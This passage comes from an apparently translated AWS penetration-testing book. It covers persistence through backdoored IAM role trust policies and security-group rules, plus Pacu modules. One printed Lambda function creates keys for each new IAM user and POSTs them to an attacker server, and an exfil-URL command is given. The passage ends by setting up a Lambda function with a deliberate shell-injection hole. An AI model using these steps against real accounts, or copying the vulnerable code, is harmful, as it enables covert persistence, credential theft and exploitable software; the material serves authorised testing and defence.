IAM 角色有一个与之关联的文档,称为其信任策略。信任策略是一个 JSON 策略文档(例如 IAM 策略,如ReadOnlyAccessAdministratorAccess),指定谁/什么可以假定该角色,以及在什么条件下允许或拒绝。允许 AWS EC2 服务假定某个角色的常见信任策略文档可能如下所示:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "ec2.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

这个策略允许 EC2 服务访问它所属的角色。这个策略可能会在 IAM 角色被添加到 EC2 实例配置文件,然后附加到 EC2 实例时使用。然后,附加角色的临时凭证可以从实例内部访问,EC2 服务将使用它来访问所需的任何内容。

对于我们攻击者来说,IAM 角色的一些特性非常适合我们:

  • 角色信任策略可以随意更新

  • 角色信任策略可以提供对其他 AWS 账户的访问

就建立持久性而言,这是完美的。这意味着,通常情况下,我们只需要更新目标账户中特权角色的信任策略,就可以在该角色和我们自己的攻击者 AWS 账户之间建立信任关系。

在我们的示例场景中,我们创建了两个 AWS 账户。其中一个(账户 ID 012345678912)是我们自己的个人攻击者账户,这意味着我们通过 AWS 个人注册了这个账户。另一个(账户 ID 111111111111)是我们已经获取了密钥的账户。我们想要建立跨账户持久性,以确保我们将来能够访问环境。这意味着即使防御者检测到了我们的入侵,我们仍然可以通过跨账户方法重新访问环境,从而在不打开任何其他安全漏洞的情况下保持对目标环境的访问。

寻找合适的目标角色

建立这种持久性的第一步将是找到一个合适的目标角色。并非所有角色都允许你更新它们的信任策略文档,这意味着我们不想以它们为目标。它们通常是服务关联角色,这是一种直接与 AWS 服务关联的独特类型的 IAM 角色(docs.aws.amazon.com/IAM/latest/UserGuide/using-service-linked-roles.html)。

这些角色可以通过 AWS Web 控制台的 IAM 角色页面以几种不同的方式快速识别。首先,你可能会发现它们的名称以AWSServiceRoleFor开头,后面跟着它们所属的 AWS 服务。另一个指示是在角色列表的受信实体列中;它会说类似于AWS service:<service name>(Service-Linked role)。如果你看到Service-Linked role的说明,那么你就知道你不能更新信任策略文档。最后,所有 AWS 服务关联角色都将包括路径/aws-service-role/。其他角色不允许使用该路径创建新角色:

图 4:我们测试账户中的两个服务关联角色

不过不要被骗了!仅仅依靠名称来指示哪些角色是服务角色,你可能会上当。一个完美的例子就是下面的截图,其中显示了角色AWSBatchServiceRole

AWSBatchServiceRole这个名字显然表明这个角色是一个服务关联角色,对吗?错。如果你注意到,在AWS service: batch之后没有(Service-Linked role)的说明。所以,这意味着我们可以更新这个角色的信任策略,即使它听起来像是一个服务关联角色。

在我们的测试环境中,我们找到了一个名为Admin的角色,这对于攻击者来说应该立即引起高特权的警觉,所以我们将以这个角色为目标进行持久性攻击。我们不想在目标环境中搞砸任何事情,所以我们希望将自己添加到信任策略中,而不是用我们自己的策略覆盖它,这可能会在环境中搞砸一些东西。如果我们不小心移除了对某个 AWS 服务的访问权限,依赖于该访问权限的资源可能会开始失败,而我们不希望出现这种情况,有很多不同的原因。

iam:GetRoleiam:ListRoles返回的数据应该已经包括我们想要的角色的活动信任策略文档,在 JSON 响应对象的AssumeRolePolicyDocument键下。我们要定位的管理员角色如下:

{
    "Path": "/",
    "RoleName": "Admin",
    "RoleId": "AROAJTZAUYV2TQBZ2LXUK",
    "Arn": "arn:aws:iam::111111111111:role/Admin",
    "CreateDate": "2018-11-06T18:48:08Z",
    "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Principal": {
                    "AWS": "arn:aws:iam::111111111111:root"
                },
                "Action": "sts:AssumeRole"
            }
        ]
    },
    "Description": "",
    "MaxSessionDuration": 3600
}

如果我们查看AssumeRolePolicyDocument > Statement下的值,我们可以看到目前只允许一个主体假定这个角色,即Amazon 资源名称ARNarn:aws:iam::111111111111:root。这个 ARN 指的是帐户 ID 为111111111111的帐户的根用户,基本上可以翻译为帐户 ID 111111111111 中的任何资源。这包括根用户、IAM 用户和 IAM 角色。

添加我们的后门访问

我们现在将把我们的攻击者拥有的账户添加为此角色的信任策略。首先,我们将把角色信任策略中AssumeRolePolicyDocument键的值保存到本地 JSON 文件(trust-policy.json)中。为了向我们自己的账户添加信任而不移除当前的信任,我们可以将Principal AWS键的值从字符串转换为数组。这个数组将包括已经存在的根 ARN 和我们攻击者账户的根 ARN。trust-policy.json现在应该看起来像下面这样:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": [
                    "arn:aws:iam::111111111111:root",
                    "arn:aws:iam::012345678912:root"
                ]
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

接下来,我们将使用 AWS CLI 更新具有此信任策略的角色:

aws iam update-assume-role-policy --role-name Admin --policy-document file://trust-policy.json --profile Test 

如果一切顺利,那么 AWS CLI 不应该向控制台返回任何输出。否则,您将看到一个错误和一个简短的描述出了什么问题。如果我们想要确认一切都正确,我们可以使用 AWS CLI 来get该角色并再次查看信任策略文档:

aws iam get-role --role-name Admin --profile Test 

该命令的响应应该包括您刚刚上传的信任策略。

我们唯一需要做的另一件事是将角色的 ARN 保存在本地某个地方,这样我们就不会忘记它。在这个例子中,我们目标角色的 ARN 是arn:aws:iam::111111111111:role/Admin。现在一切都完成了。

确认我们的访问

我们可以通过尝试从我们自己的攻击者账户内部“假定”我们的目标角色来测试我们的新持久性方法。已经有一个名为MyPersonalUser的本地 AWS CLI 配置文件,这是属于我的个人 AWS 账户的一组访问密钥。使用这些密钥,我应该能够运行以下命令:

aws sts assume-role --role-arn arn:aws:iam::111111111111:role/Admin --role-session-name PersistenceTest --profile MyPersonalUser 

我们只需要提供我们想要凭证的角色的 ARN 和角色会话名称,这可以是与返回的临时凭证关联的任意字符串值。如果一切按计划进行,AWS CLI 应该会以以下类似的方式做出响应:

{
    "Credentials": {
        "AccessKeyId": "ASIATE66IJ1KVECXRQRS",
        "SecretAccessKey": "hVhO4zr7gbrVBYS4oJZBTeJeKwTd1bPVWNZ9At7a",
        "SessionToken": "FQoGZXIvYXdzED0aAJslA+vx8iKMwQD0nSLzAaQ6mf4X0tuENPcN/Tccip/sR+aZ3g2KJ7PZs0Djb6859EpTBNfgXHi1OSWpb6mPAekZYadM4AwOBgjuVcgdoTk6U3wQAFoX8cOTa3vbXQtVzMovq2Yu1YLtL3LhcjoMJh2sgQUhxBQKIEbJZomK9Dnw3odQDG2c8roDFQiF0eSKPpX1cI31SpKkKdtHDignTBi2YcaHYFdSGHocoAu9q1WgXn9+JRIGMagYOhpDDGyXSG5rkndlZA9lefC0M7vI5BTldvmImgpbNgkkwi8jAL0HpB9NG2oa4r0vZ7qM9pVxoXwFTA1I8cyf6C+Vvwi5ty/3RaiZ1IffBQ==",
        "Expiration": "2018-11-06T20:23:05Z"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAJTZAUYV2TQBZ2LXUK:PersistenceTest",
        "Arn": "arn:aws:sts::111111111111:assumed-role/Admin/PersistenceTest"
    }
}

完美!现在,我们所做的是使用我们自己的个人账户凭据来检索我们目标 AWS 账户的凭据。只要我们仍然是受信任的实体,我们随时都可以运行相同的aws sts API 调用,并在需要时检索另一组临时凭据。

我们可以通过修改我们的~/.aws/credentials文件使这些密钥对 AWS CLI 可用。配置文件只需要额外的aws_session_token键,这将导致以下内容被添加到我们的凭据文件中:

[PersistenceTest]
aws_access_key_id = ASIATE66IJ1KVECXRQRS
aws_secret_access_key = hVhO4zr7gbrVBYS4oJZBTeJeKwTd1bPVWNZ9At7a
aws_session_token = "FQoGZXIvYXdzED0aAJslA+vx8iKMwQD0nSLzAaQ6mf4X0tuENPcN/Tccip/sR+aZ3g2KJ7PZs0Djb6859EpTBNfgXHi1OSWpb6mPAekZYadM4AwOBgjuVcgdoTk6U3wQAFoX8cOTa3vbXQtVzMovq2Yu1YLtL3LhcjoMJh2sgQUhxBQKIEbJZomK9Dnw3odQDG2c8roDFQiF0eSKPpX1cI31SpKkKdtHDignTBi2YcaHYFdSGHocoAu9q1WgXn9+JRIGMagYOhpDDGyXSG5rkndlZA9lefC0M7vI5BTldvmImgpbNgkkwi8jAL0HpB9NG2oa4r0vZ7qM9pVxoXwFTA1I8cyf6C+Vvwi5ty/3RaiZ1IffBQ=="

然后我们可以手动将这些凭据添加到 Pacu 中,或者我们可以从 AWS CLI 导入它们到 Pacu 中。

使用 Pacu 自动化

就像前一节关于后门用户的部分一样,这一切都可以很容易地自动化!除此之外,它已经为您自动化了,使用iam__backdoor_assume_role Pacu 模块。该模块接受三个不同的参数,但我们只会使用其中的两个。--role-names参数接受要在我们的目标账户中设置后门的 IAM 角色列表,--user-arns参数接受要为每个目标角色添加信任关系的 ARN 列表。如果我们要复制刚刚经历的情景,那么我们将运行以下 Pacu 命令:

run iam__backdoor_assume_role --role-names Admin --user-arns arn:aws:iam::012345678912:root 

Pacu 将自动设置Admin角色的后门,并与我们提供的 ARN 建立信任关系。输出应该看起来像这样:

图 5:运行 Pacu iam__backdoor_assume_role 模块

如果我们不知道我们想要攻击的角色,我们可以省略--role-names参数。然后 Pacu 将收集账户中的所有角色,并给我们一个选择列表。

这里有一个相当重要的副注,你可能一直在想,信任策略文档确实接受通配符,比如星号(*)字符!信任策略可以使用通配符,以便任何东西都可以假定该角色,这实际上意味着任何东西。信任每个人拥有 IAM 角色绝不是一个好主意,特别是如果你正在攻击一个账户。你不希望打开环境中原本不存在的门,其他攻击者可能会趁机溜进来。然而,了解通配符角色信任策略的确切含义是很重要的,因为在账户中遇到这样的情况是很少见的。

EC2 安全组的后门

EC2 安全组充当管理一个或多个 EC2 实例的入站和出站流量规则的虚拟防火墙。通常,你会发现对实例上特定端口的流量被列入白名单,以允许来自其他 IP 范围或安全组的流量。默认情况下拒绝所有访问,可以通过创建新规则来授予访问权限。作为攻击者,我们无法绕过安全组规则,但这并不意味着我们的访问完全被阻止。

我们所需要做的就是向目标安全组添加我们自己的安全组规则。理想情况下,这将是一个允许我们的 IP 地址/范围到安全组适用的实例上的一组端口的规则。你可能认为你想要为所有端口(0-65535)和所有协议(TCP、UDP 等)添加白名单访问,但一般来说,这是一个坏主意,因为有一些非常基本的检测存在。允许流量到安全组的每个端口被认为是一种不好的做法,因此有许多工具会对这种安全组规则发出警报。

知道检测所有端口都允许入站是典型的最佳实践检查,我们可以将我们的访问精细化到一些常见端口的子集。这些端口可能只是一个较短的范围,比如0-1024,一个常见端口,比如端口80,你知道他们在目标服务器上运行的服务的端口,或者你想要的任何东西。

使用我们同样的Test用户,假设我们发现了一个我们想要攻击的 EC2 实例。这可能是通过像下面的 AWS CLI 命令描述当前区域中的 EC2 实例:

aws ec2 describe-instances --profile Test 

这个命令返回了相当多的信息,但重要的信息是我们目标的实例 ID(i-08311909cfe8cff10),我们目标的公共 IP(2.3.4.5),以及附加到它的安全组的列表:

"SecurityGroups": [
    {
        "GroupName": "corp",
        "GroupId": "sg-0315cp741b51fr4d0"
    }
]

有一个附加到目标实例的单个组名为corp;我们可以猜测它代表公司。现在我们有了安全组的名称和 ID,但我们想要看看它上面已经存在的规则。我们可以通过运行以下 AWS CLI 命令找到这些信息:

aws ec2 describe-security-groups --group-ids sg-0315cp741b51fr4d0 --profile Test 

该命令的响应应该显示已添加到安全组的入站和出站规则。响应的IpPermissions键包含入站流量规则,IpPermissionsEgress键包含出站流量规则。我们目标corp安全组的入站流量规则如下:

"IpPermissions": [
    {
        "FromPort": 27017,
        "IpProtocol": "tcp",
        "IpRanges": [
            {
                "CidrIp": "10.0.0.1/24"
            }
        ],
        "Ipv6Ranges": [],
        "PrefixListIds": [],
       "ToPort": 27018,
        "UserIdGroupPairs": []
    }
]

我们所看到的是允许来自 IP 范围10.0.0.1/24到范围2701727018的任何端口的入站 TCP 访问。也许你认识这些端口!这些端口通常属于 MongoDB,一种 NoSQL 数据库。问题是访问被列入白名单到一个内部 IP 范围,这意味着我们已经需要在网络中有一个立足点才能访问这些端口。这就是我们将添加我们的后门安全组规则,以便我们可以直接访问 MongoDB 的地方。

为了做到这一点,我们可以使用ec2:AuthorizeSecurityGroupIngress API。我们将说我们自己的攻击者 IP 地址是1.1.1.1,我们已经知道要打开访问权限的端口,所以我们可以运行以下 AWS CLI 命令:

aws ec2 authorize-security-group-ingress --group-id sg-0315cp741b51fr4d0 --protocol tcp --port  27017-27018 --cidr 1.1.1.1/32

如果一切顺利,您将不会看到此命令的任何输出,但如果出现问题,将会出现错误。现在我们的后门规则已成功应用,我们所针对的安全组中的每个 EC2 实例现在应该允许我们访问。请记住,可以指定0.0.0.0/0作为您的 IP 地址范围,并且它将允许任何 IP 地址访问。作为攻击者,我们绝对不希望这样做,因为这将打开其他攻击者可能发现和滥用的环境入口,因此我们始终要确保即使我们的后门访问规则也是细粒度的。

现在我们可以尝试远程访问 MongoDB,以测试我们的后门规则是否成功,并希望获得对以前私有的 MongoDB 服务器的访问权限。以下屏幕截图显示我们连接到端口27017上的 Mongo 数据库,服务器的一些错误配置对我们有利。如屏幕截图的轮廓部分所示,访问控制(身份验证)未设置,这意味着我们可以在不需要凭据的情况下读取和写入数据库。下一条消息显示 Mongo 进程正在以 root 用户身份运行,这意味着如果我们能够在 Mongo 服务器上执行任何文件读取或代码执行,它将以 root 用户身份运行:

就像前面的部分一样,这对您来说可能已经被 Pacu 自动化了!我们可以针对一个或多个安全组,但默认情况下,Pacu 将使用您指定的规则在当前区域中的所有组中设置后门。要复制我们刚刚经历的过程,我们可以运行以下 Pacu 命令(Pacu 使用安全组名称而不是 ID,因此我们提供corp):

run ec2__backdoor_ec2_sec_groups --ip 1.1.1.1/32 --port-range 27017-27018 --protocol tcp --groups corp@us-west-2 

然后 Pacu 将向目标安全组添加我们的后门规则。但是永远不要忘记--ip参数,因为您不希望向世界(0.0.0.0/0)打开任何东西。以下屏幕截图显示了前面 Pacu 命令的输出:

图 6:Pacu 在后门公司安全组时的输出

然后,如果您要查看应用于该安全组的规则,您将看到类似于这样的内容:

图 7:我们目标安全组上的后门规则

使用 Lambda 函数作为持久看门狗

现在,在帐户中创建我们的持久后门非常有用,但是如果即使这些后门被检测到并从环境中删除了呢?我们可以使用 AWS Lambda 作为看门狗来监视帐户中的活动,并对某些事件做出响应,从而允许我们对防御者的行动做出反应。

基本上,AWS Lambda 是您在 AWS 中运行无服务器代码的方式。简单来说,您上传您的代码(无论是 Node.js、Python 还是其他任何东西),并为您的函数设置一个触发器,当触发器被触发时,您的代码在云中执行并对传入的数据进行处理。

我们攻击者可以利用这一点做很多事情。我们可以用它来警示帐户中的活动:

  • 这些活动可能有助于我们利用该帐户

  • 这可能意味着我们已经被防御者发现。

Lambda 函数还有很多其他用途,但现在我们将专注于这个。

使用 Lambda 自动化凭据外泄

从上一节的第一点开始,我们希望一个 Lambda 函数在可能值得利用的事件上触发。我们将把这与本章前面描述的持久性方法联系起来,因此对于后门 IAM 用户,可能值得利用的事件可能是创建新用户时。我们可以使用 CloudWatch Events 触发我们的 Lambda 函数,然后运行我们的代码,该代码设置为自动向该用户添加一组新的访问密钥,然后将这些凭证外发到我们指定的服务器。

这种情况如下绑定在一起:

  1. 攻击者(我们)在目标账户中创建了一个恶意 Lambda 函数

  2. 攻击者创建了一个触发器,每当创建新的 IAM 用户时就运行 Lambda 函数

  3. 攻击者在他们控制的服务器上设置一个监听器,等待凭证

  4. 经过 2 天

  5. 环境中的普通用户创建了一个新的 IAM 用户

  6. 攻击者的 Lambda 函数被触发

  7. 该函数向新创建的用户添加一组访问密钥

  8. 该函数使用创建的凭证向攻击者的服务器发出 HTTP 请求

现在攻击者只需坐下来等待凭证流入他们的服务器。

这可能看起来是一个复杂的过程,但简单来说,你可以把它看作是一种持久性建立持久性的方法。我们已经知道如何首先建立持久性,所以 Lambda 增加的是连续执行的能力。

要触发事件的函数,例如创建用户,必须创建一个 CloudWatch Event 规则。CloudWatch Event 规则是一种基本上说——如果我在环境中看到这种情况发生,就执行这个动作的方法。为了使我们的 CloudWatch Event 规则正常工作,我们还需要在us-east-1地区启用 CloudTrail 日志记录。这是因为我们是由 IAM 事件(iam:CreateUser)触发的,并且 IAM 事件只传递到us-east-1 CloudWatch Events。在大多数情况下,CloudTrail 日志记录将被启用。最佳做法是在所有 AWS 地区启用它,如果 CloudTrail 未启用,则您可能处于一个不太完善的环境中,需要关注其他问题。

使用 Pacu 部署我们的后门

创建后门 Lambda 函数、创建 CloudWatch Events 规则并连接两者的过程可能会很烦人,因此已经自动化并集成到 Pacu 中。

我们将要查看的第一个 Pacu 模块称为lambda__backdoor_new_users,它基本上只是自动化了在环境中为新创建的用户创建后门并外发凭证的过程。如果我们查看 Pacu 模块使用的 Lambda 函数的源代码,我们会看到以下内容:

import boto3
from botocore.vendored import requests
def lambda_handler(event,context):
 if event['detail']['eventName']=='CreateUser':
 client=boto3.client('iam')
 try:
 response=client.create_access_key(UserName=event['detail']['requestParameters']['userName'])
 requests.post('POST_URL',data={"AKId":response['AccessKey']['AccessKeyId'],"SAK":response['AccessKey']['SecretAccessKey']})
 except:
 pass
 return

代码的作用只是检查触发它的事件是否是iam:CreateUser API 调用,如果是,它将尝试使用 Python 的boto3库为新创建的用户创建凭证。然后一旦成功,它将发送这些凭证到攻击者的服务器,这由POST_URL指示(Pacu 在启动函数之前替换该字符串)。

模块的其余代码设置了所有必需的资源,或者删除了它知道您在账户中启动的任何后门,有点像清理模式。

接收我们创建的凭证,我们需要在自己的服务器上启动一个 HTTP 监听器,因为凭证是在请求体中POST的。之后,我们只需运行以下 Pacu 命令,希望凭证开始涌入:

run lambda__backdoor_new_users --exfil-url http://attacker-server.com/

当 Pacu 命令完成时,目标账户现在应该已经设置了我们的 Lambda 后门。只要环境中的其他人创建了一个新的 IAM 用户,我们应该收到一个带有这些凭证的 HTTP 监听器的请求。

以下截图显示了运行lambda__backdoor_new_users Pacu 模块的一些输出:

现在,下一个截图显示了在有人在我们的目标环境中创建用户后,向我们的 HTTP 服务器 POST 的凭据:

我们可以看到访问密钥 ID 和秘密访问密钥都包含在这个 HTTP POST 请求的正文中。现在我们已经为一个用户收集了密钥,如果我们觉得有必要,我们可以删除我们的后门(您不应该在您正在测试的环境中留下任何东西!)。为了做到这一点,我们可以运行以下 Pacu 命令:

run lambda__backdoor_new_users --cleanup

这个命令应该输出类似以下截图的内容,表明它已经删除了我们之前创建的后门资源:

其他 Lambda Pacu 模块

除了lambda__backdoor_new_users Pacu 模块之外,还有另外两个:

  • lambda__backdoor_new_sec_groups

  • lambda__backdoor_new_roles

lambda__backdoor_new_sec_groups模块可以用于在创建新的 EC2 安全组时设置后门,通过将我们自己的 IP 地址列入白名单,而lambda__backdoor_new_roles模块将修改新创建角色的信任关系,允许我们跨账户假定它们,然后它将外泄角色的 ARN,以便我们可以继续收集我们的临时凭据。这两个模块都像我们之前介绍的lambda__backdoor_new_users模块一样,在 AWS 账户中部署资源,这些资源会根据事件触发,并且它们有清理选项来删除这些资源。

lambda__backdoor_new_sec_groups模块使用 EC2 API(而不是 IAM),因此不需要在us-east-1中创建 Lambda 函数;相反,它应该在您希望在其中设置新安全组后门的区域中启动。

总结

在本章中,我们已经看到了如何在目标 AWS 环境中建立持久访问的方法。这可以直接完成,就像我们展示的那样,比如向其他 IAM 用户添加后门密钥,或者我们可以使用更长期的方法,比如 AWS Lambda 和 CloudWatch Events 等服务。在目标 AWS 账户中,您可以建立各种不同的持久性方式,但有时候只需要对目标进行一些研究,就可以确定一个好的位置。

Lambda 提供了一个非常灵活的平台,可以在我们的目标账户中对事件做出反应和响应,这意味着我们可以在资源创建时建立持久性(或更多);然而,就像我们通过给 EC2 安全组设置后门所展示的那样,并不是每个后门都需要基于/在 IAM 服务中,并且有时候可以成为其他类型访问的后门。本章旨在展示一些常见的持久性方法,以帮助您发现在您的工作中其他持久性方法。

与在账户中创建新资源(可能会引起注意)不同,也可以对现有的 Lambda 函数设置后门。这些攻击对您所针对的环境更具体,并且需要不同的权限集,但可以更隐蔽和持久。这些方法将在下一章中讨论,我们将讨论 AWS Lambda 的渗透测试,调查现有 Lambda 函数的后门和数据外泄等。

第五部分:对其他 AWS 服务进行渗透测试

在本节中,我们将研究各种常见的 AWS 服务,针对它们的不同攻击方式,以及如何保护它们。

本节将涵盖以下章节:

  • 第十二章,AWS Lambda 的安全和渗透测试

  • 第十三章,AWS RDS 的渗透测试和安全

  • 第十四章,针对其他服务

第十二章:AWS Lambda 的安全性和渗透测试

AWS Lambda 是一个令人惊叹的服务,为用户提供无服务器函数和应用程序。基本上,您创建一个带有要执行的代码的 Lambda 函数,然后创建某种触发器,每当触发该触发器时,您的 Lambda 函数将执行。用户只需支付 Lambda 函数运行所需的时间,最长为 15 分钟(但可以根据每个函数的需要手动降低)。Lambda 提供了多种编程语言供您的函数使用,甚至允许您设置自己的运行时以使用它尚不直接支持的语言。在我们深入研究所有这些之前,我们应该澄清无服务器是什么。尽管无服务器听起来好像没有涉及服务器,但 Lambda 基本上只是为函数需要运行的持续时间启动一个隔离的服务器。因此,仍然涉及服务器,但作为用户,您不需要处理服务器的规划、加固等。

对攻击者来说,这意味着我们仍然可以执行代码,使用文件系统,并执行大多数您可以在常规服务器上执行的其他活动,但有一些注意事项。其中之一是整个文件系统被挂载为只读,这意味着您无法直接修改系统上的任何内容,除了/tmp目录。/tmp目录是提供给 Lambda 函数在执行过程中根据需要写入文件的临时位置。另一个是您无法在这些服务器上获得 root 权限。简单明了,您只需接受您将永远成为 Lambda 函数中的低级用户。如果您确实找到了提升为 root 用户的方法,我相信 AWS 安全团队的人会很乐意听到这个消息。

在现实世界中,您可能会使用 Lambda 的一个示例场景是对上传到特定 S3 存储桶的任何文件进行病毒扫描。每次上传文件到该存储桶时,Lambda 函数将被触发,并传递上传事件的详细信息。然后,函数可能会将该文件下载到/tmp目录,然后使用 ClamAV(www.clamav.net/)之类的工具对其进行病毒扫描。如果扫描通过,执行将完成。如果扫描标记文件为病毒,它可能会删除 S3 中相应的对象。

在本章中,我们将涵盖以下主题:

  • 设置一个易受攻击的 Lambda 函数

  • 使用读取访问攻击 Lambda 函数

  • 使用读写访问攻击 Lamda 函数

  • 转向虚拟私有云

设置一个易受攻击的 Lambda 函数

S3 中用于病毒扫描文件的 Lambda 函数的先前示例与我们将在自己的环境中设置的类似,但更复杂。我们指定的 S3 存储桶上传文件时,我们的函数将被触发,然后下载该文件,检查内容,然后根据发现的内容在 S3 对象上放置标签。这个函数将有一些编程错误,使其容易受到利用,以便进行演示,所以不要在生产账户中运行这个函数!

在我们开始创建 Lambda 函数之前,让我们首先设置将触发我们函数的 S3 存储桶和我们函数将承担的 IAM 角色。导航到 S3 仪表板(单击服务下拉菜单并搜索 S3),然后单击“创建存储桶”按钮:

S3 仪表板上的“创建存储桶”按钮

现在,给您的存储桶一个唯一的名称;我们将使用 bucket-for-lambda-pentesting,但您可能需要选择其他内容。对于地区,我们选择美国西部(俄勒冈州),也称为 us-west-2。然后,单击“下一步”,然后再次单击“下一步”,然后再次单击“下一步”。将这些页面上的所有内容保留为默认设置。现在,您应该看到您的 S3 存储桶的摘要。单击“创建存储桶”以创建它:

单击的最终按钮以创建您的 S3 存储桶

现在,在您的存储桶列表中显示存储桶名称时,单击该名称,这将完成我们的 Lambda 函数的 S3 存储桶设置(暂时)。

在浏览器中保留该选项卡打开,并在另一个选项卡中打开 IAM 仪表板(服务| IAM)。在屏幕左侧的列表中单击“角色”,然后单击左上角的“创建角色”按钮。在选择受信任实体类型下,选择 AWS 服务,这应该是默认值。然后,在“选择将使用此角色的服务”下,选择 Lambda,然后单击“下一步:权限”:

为我们的 Lambda 函数创建一个新角色

在此页面上,搜索 AWS 托管策略AWSLambdaBasicExecutionRole,并单击其旁边的复选框。此策略将允许我们的 Lambda 函数将执行日志推送到 CloudWatch,并且从某种意义上说,这是 Lambda 函数应该提供的最低权限集。可以撤销这些权限,但是 Lambda 函数将继续尝试写日志,并且将继续收到访问被拒绝的响应,这对于观察的人来说会很嘈杂。

现在,搜索 AWS 托管策略AmazonS3FullAccess,并单击其旁边的复选框。这将使我们的 Lambda 函数能够与 S3 服务进行交互。请注意,对于我们的 Lambda 函数用例来说,此策略过于宽松,因为它允许对任何 S3 资源进行完全的 S3 访问,而从技术上讲,我们只需要对我们的单个 bucket-for-lambda-pentesting S3 存储桶进行少量的 S3 权限。通常,您会发现在攻击的 AWS 帐户中存在过度授权的资源,这对于您作为攻击者来说没有任何好处,因此这将成为我们演示场景的一部分。

现在,单击屏幕右下角的“下一步:标记”按钮。我们不需要向此角色添加任何标记,因为这些通常用于我们现在需要担心的其他原因,所以只需单击“下一步:立即审阅”。现在,为您的角色创建一个名称;对于此演示,我们将其命名为LambdaRoleForVulnerableFunction,并且我们将保留角色描述为默认值,但如果您愿意,可以在其中编写自己的描述。现在,通过单击屏幕右下角的“创建角色”来完成此部分。如果一切顺利,您应该会在屏幕顶部看到成功消息:

我们的 IAM 角色已成功创建

最后,我们可以开始创建实际的易受攻击的 Lambda 函数。要这样做,请转到 Lambda 仪表板(服务| Lambda),然后单击“创建函数”,这应该出现在欢迎页面上(因为可能您还没有创建任何函数)。请注意,这仍然位于美国西部(俄勒冈州)/ us-west-2 地区,就像我们的 S3 存储桶一样。

然后,在顶部选择从头开始。现在,为您的函数命名。对于此演示,我们将其命名为VulnerableFunction。接下来,我们需要选择我们的运行时,可以是各种不同的编程语言。对于此演示,我们将选择 Python 3.7 作为我们的运行时。

对于角色选项,请选择选择现有角色,然后在现有角色选项下,选择我们刚刚创建的角色(LambdaRoleForVulnerableFunction)。最后,单击右下角的“创建函数”:

我们新的易受攻击的 Lambda 函数设置的所有选项

现在,您应该进入新易受攻击函数的仪表板,该仪表板可让您查看和配置 Lambda 函数的各种设置。

目前,我们可以暂时忽略此页面上的大部分内容,但是如果您想了解有关 Lambda 本身的更多信息,我建议您阅读 AWS 用户指南:docs.aws.amazon.com/lambda/latest/dg/welcome.html。现在,向下滚动到“函数代码”部分。我们可以看到“处理程序”下的值是lambda_function.lambda_handler。这意味着当函数被调用时,lambda_function.py文件中名为lambda_handler的函数将作为 Lambda 函数的入口点执行。lambda_function.py文件应该已经打开,但如果没有,请在“函数代码”部分左侧的文件列表中双击它:

Lambda 函数处理程序及其引用的值

如果您选择了不同的编程语言作为函数的运行时,您可能会遇到略有不同的格式,但总体上它们应该是相似的。

现在我们已经有了 Lambda 函数、Lambda 函数的 IAM 角色和我们创建的 S3 存储桶,我们将在我们的 S3 存储桶上创建事件触发器,每次触发时都会调用我们的 Lambda 函数。要做到这一点,返回到您的 bucket-for-lambda-pentesting S3 存储桶所在的浏览器选项卡,单击“属性”选项卡,然后向下滚动到“高级设置”下的选项,单击“事件”按钮:

访问我们 S3 存储桶的事件设置

接下来,单击“添加通知”,并将此通知命名为LambdaTriggerOnS3Upload。在“事件”部分下,选中“所有对象创建事件”旁边的复选框,这对我们的需求已经足够了。对于此通知,我们将希望将“前缀”和“后缀”留空。单击“发送到”下拉菜单,并选择“Lambda 函数”,然后应该显示另一个下拉菜单,您可以在其中选择我们创建的函数VulnerableFunction。最后,单击“保存”:

我们想要的新通知配置

单击“保存”后,事件按钮应显示 1 个活动通知:

我们刚刚设置的通知。

如果您返回到 Lambda 函数仪表板并刷新页面,您应该看到 S3 已被添加为左侧“设计”部分中我们 Lambda 函数的触发器:

Lambda 函数知道它将被我们刚刚设置的通知触发

基本上,我们刚刚告诉我们的 S3 存储桶,每当创建一个对象(/uploaded/等),它都应该调用我们的 Lambda 函数。S3 将自动调用 Lambda 函数,并通过event参数传递与通过event参数传递的上传文件相关的详细信息,这是我们的函数接受的两个参数之一(eventcontext)。Lambda 函数可以通过在执行过程中查看event的内容来读取这些数据。

要完成我们易受攻击的 Lambda 函数的设置,我们需要向其中添加一些易受攻击的代码!在 Lambda 函数仪表板上,在“函数代码”下,用以下代码替换默认代码:

import boto3
import subprocess
import urllib

def lambda_handler(event, context):
    s3 = boto3.client('s3')

    for record in event['Records']:
        try:
            bucket_name = record['s3']['bucket']['name']
            object_key = record['s3']['object']['key']
            object_key = urllib.parse.unquote_plus(object_key)

            if object_key[-4:] != '.zip':
                print('Not a zip file, not tagging')
                continue

            response = s3.get_object(
                Bucket=bucket_name,
                Key=object_key
            )

            file_download_path = f'/tmp/{object_key.split("/")[-1]}'
            with open(file_download_path, 'wb+') as file:
                file.write(response['Body'].read())

            file_count = subprocess.check_output(
                f'zipinfo {file_download_path} | grep ^- | wc -l',
                shell=True,
                stderr=subprocess.STDOUT
            ).decode().rstrip()
            s3.put_object_tagging(
                Bucket=bucket_name,
                Key=object_key,
                Tagging={
                    'TagSet': [
                        {
                            'Key': 'NumOfFilesInZip',
                            'Value': file_count
                        }
                    ]
                }
            )
        except Exception as e:
            print(f'Error on object {object_key} in bucket {bucket_name}: {e}')
    return

当我们继续阅读本章时,我们将更深入地了解这个函数的运行情况。简单来说,每当文件上传到我们的 S3 存储桶时,这个函数就会被触发;它将确认文件是否具有.zip扩展名,然后将文件下载到/tmp目录中。下载完成后,它将使用zipinfogrepwc程序来计算 ZIP 文件中存储了多少文件。然后它将向 S3 中的对象添加一个标签,指定该 ZIP 文件中有多少个文件。你可能已经能够看到一些问题可能出现的地方,但我们稍后会讨论这些问题。

我们要做的最后一件事是下拉到 Lambda 仪表板的环境变量部分,并添加一个带有键app_secret和值1234567890的环境变量:

将 app_secret 环境变量添加到我们的函数中。

要完成本节,只需点击屏幕右上角的大橙色保存按钮,将此代码保存到您的 Lambda 函数中,我们就可以继续了。

使用只读访问攻击 Lambda 函数

